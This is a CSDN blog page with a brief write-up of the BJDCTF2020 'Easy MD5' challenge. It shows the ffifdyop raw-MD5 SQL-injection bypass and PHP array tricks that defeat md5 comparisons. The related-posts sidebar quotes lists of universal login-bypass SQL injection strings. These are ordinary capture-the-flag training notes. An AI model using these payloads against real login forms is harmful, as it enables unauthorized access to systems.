[BJDCTF2020]Easy MD5

最新推荐文章于 2024-01-07 15:09:54 发布
最新推荐文章于 2024-01-07 15:09:54 发布
阅读量98 收藏
点赞数
分类专栏： web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_51426816/article/details/113101500
版权

在这里插入图片描述
抓包发现hint:
select * from ‘admin’ where password=md5($pass,true)

用ffifdyop绕过
字符串ffifdyop被 md5 后变成 276f722736c95d99e921722cf9ed621c，转成字符串为’ or ‘6
在这里插入图片描述
源代码中

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

构造

?a[]=1a&b[]=2

在这里插入图片描述
post传递

param1[]=1&param2[]=2

得到flag

祁行
关注
专栏目录
[CTF]CTF中if (md5(md5($_GET[‘a’])) == md5($_GET[‘b’])) 的绕过
baguangman5501的博客
09-25 7766
原作者：KTWO 出处：https://www.k2zone.cn/?p=2019 0X00 摘要 CTF中md5判等可使用0e绕过，但是如果是双md5该如何绕过呢？本文将教你如何绕过md5(md5($_GET[‘a’])) == md5($_GET[b’])。 0X01 引言 在php中，所有变量都是若类型的，在使用if判等的时候要格外小心，使用特殊的参数可能会使本来不相等的if判断位...
PHP中的MD5()函数漏洞
John_lain的博客
10-28 3793
文章目录1. MD5函数漏洞2.PHP特性3.MD5碰撞 1. MD5函数漏洞 $_GET['a'] != $_GET['b'] &amp;&amp; MD5($_GET['a']) == MD5($_GET['b']) 要让上面的等式成立，a和b的值不能相等，但是md5后的值相等。因为是==比较，只判断值是否相等，不判断类型是否相同。如果类型不同先转换为相同类型再进行比较而PHP在处理哈希字...
后台登陆万能密码总结
热门推荐
lizhengnanhua的专栏
09-07 2万+
1.Asp/Aspx万能密码： 'or'='or''or 1=1--''or 1=1--'or'a'='a"or "a"="a"or"="a'='a ')or('a'='aor 1=1--a'or' 1=1--"or"="a'='a'or''='1 or '1'='1'=11 or '1'='1' or 1=1'OR 1=1%00"or 1=1%00'xoradmin' or 'a'='
后台登陆万能密码
烟敛寒林的博客
04-25 2万+
asp aspx万能密码 "or "a"="a ')or('a'='a or 1=1-- 'or 1=1-- a'or' 1=1-- "or 1=1-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 1=1 'OR 1=1%00 "or 1=1%0...
asp aspx php jsp万能密码
fengling132的专栏
03-19 4456
asp aspx万能密码   1： "or "a"="a    2： ')or('a'='a    3：or 1=1--    4：'or 1=1--    5：a'or' 1=1--    6： "or 1=1--    7：'or'a'='a    8： "or"="a'='a    9：'or''='    10：'or'='or'    11: 1 or '1'=
BJDCTF2020Easy MD5
4pri1
03-15 230
考点：sql注入（万能密码） 数组绕过md5 md5碰撞 [BJDCTF2020]Easy MD5 考点：sql注入（万能密码） 数组绕过md5 md5碰撞 只有一个输入框和提交 在响应头处找到提示信息 查一下md5函数的用法 所以sql语句是把密码用16字符二进制比对，试着构造一个万能密码 如果通过md5之后返回字符串是’or 1的话，形成一个永真条件，select * from ‘admin’ where password=’ 'or ‘6…’ 这个.
Buuctf [BJDCTF2020]Easy MD5
m0_64444909的博客
07-25 1396
.
web buuctf [BJDCTF2020]Easy MD51
weixin_44214568的博客
03-14 1536
1.查看源代码，无异常；输入字符串发现传参password，尝试sql注入没有看到异常 2.传参抓包，在respose的消息头内有hint(线索)：select * from 'admin' where password=md5($pass,true) 就是说，传参的值经过md5（string,true）后，使sql语句能够执行，完成注入 3.语法：md5(string,raw) 参数 描述 string 必需。要计算的字符串。 raw 可选。 默认不写为
[BJDCTF2020]Easy MD5 1
qq_51175992的博客
07-12 778
考察MD5函数的绕过方法
BUUCTF [BJDCTF2020]Easy MD51 解析WP
最新发布
m0_73615178的博客
01-07 1252
首先，看题有个文本框和一个提交按钮，那么大致注入点从注入框下手，随意输入一个值，通过抓包和分析网址得出，传参方式为GET方式，后端判断语句为sql语句“select * from 'admin' where password=md5($pass,true)”，其中利用散列函数md5加密了password。MD5函数介绍， 语法：md5(string,raw)，其中string要计算的字符串，raw（可选）规定十六进制或二进制输出格式true为原始16字符二进制格式，默认false32字符16进制格式。
[BJDCTF2020]Easy MD5（详细）
qq_43622442的博客
04-21 1万+
[BJDCTF2020]Easy MD5（详细） 这一题也是挺多知识点的。 1.打开网站，发现输入啥都没变化： 2.看到响应头有提示，应该是绕过md5进行注入了： 3.这里有个很离谱的点，我是真的没想到：          md5函数在指定了true的时候，是返回的原始 16 字符二进制格式。也就是说会返...
[BJDCTF2020]Easy MD5【超详细讲解】
wo41ge的博客
11-15 2074
进入 题目链接 不管你输入什么 他只会修改这里 页面没有回显 没反应 开始 四处找找 这不就找到提示了吧 就很nice奥 进行post传参
[BJDCTF2020]Easy MD51
cuddlylm的博客
05-12 1611
考点：Sql md5注入，md5 passby 在header里面有提示 select * from 'admin' where password=md5($pass,true) 这个点做过原题，第一次做的话可能遇到这种会有点蒙，上网找 payload 可以很轻松地找到 ffifdyop，这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c，这个字符串前几位刚好是 ‘ or ‘6，而 Mysql 刚好又会吧 hex 转
XSS渗透测试
m0_51426816的博客
02-25 787
渗透测试基本原理：依据渗透策略生成攻击向量，提交给Web服务器，然后根据Web服务器返回的网页来判断相应的检测点是否存在XSS漏洞 一.渗透策略 渗透策略规定了向Web服务器提交的内容，并根据Web服务器的返回信息来决定下一步的提交方案 流程： 二.合法字符串测试 Web服务器对检测点所提交的内容做不同的处理，并返回不同的网页，根据对返回网页的分析，排除掉不可能存在XSS漏洞的检测点，从而提高检测效率 三.攻击向量测试 模拟浏览器提交表单的过程向检测点注入攻击向量。根据action、method、type
绕过XSS-Filter
m0_51426816的博客
02-25 680
XSS-Filter： 基于黑白名单的安全过滤策略，实际上是一段过滤函数 绕过： （1）利用< >标记注射Html和Javascript 通过引入< >操作HTML标签，然后利用标签任意插入由JavaScript编写的恶意脚本代码。 （2）利用HTML标签属性值执行XSS 很多HTML标记中的属性都支持javascript:[code]伪协议形式，声明URL的主体是JavaScript代码，由JavaScript的解释器运行，但不是所有Web浏览器都支持JavaScript伪协议，也
PHP变量覆盖漏洞
m0_51426816的博客
02-08 666
1.全局变量覆盖 register_globals为On时，传递的值会被注册为全局变量直接使用 2.extract()变量覆盖 extract() 函数将变量从数组中导入到当前的符号表，使用数组键名作为变量名，键值作为变量值，在当前符号表中创建数组中的每个元素对应的变量，使用“EXTR_OVERWRITE”时，变量名发生冲突会覆盖已有变量 <?php $a = "0"; $a_array = array("a" => "1","b" => "2"); extract($a_array);
波音Easy5：控制与多学科系统仿真神器
Easy5是一款由波音公司研发的面向控制系统和多学科动态系统的仿真软件，专为产品概念和系统级设计阶段而设计。它是一个功能强大的虚拟样机建模分析工具，旨在通过快速建立完整且可靠的模型，帮助用户评估和优化复杂...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值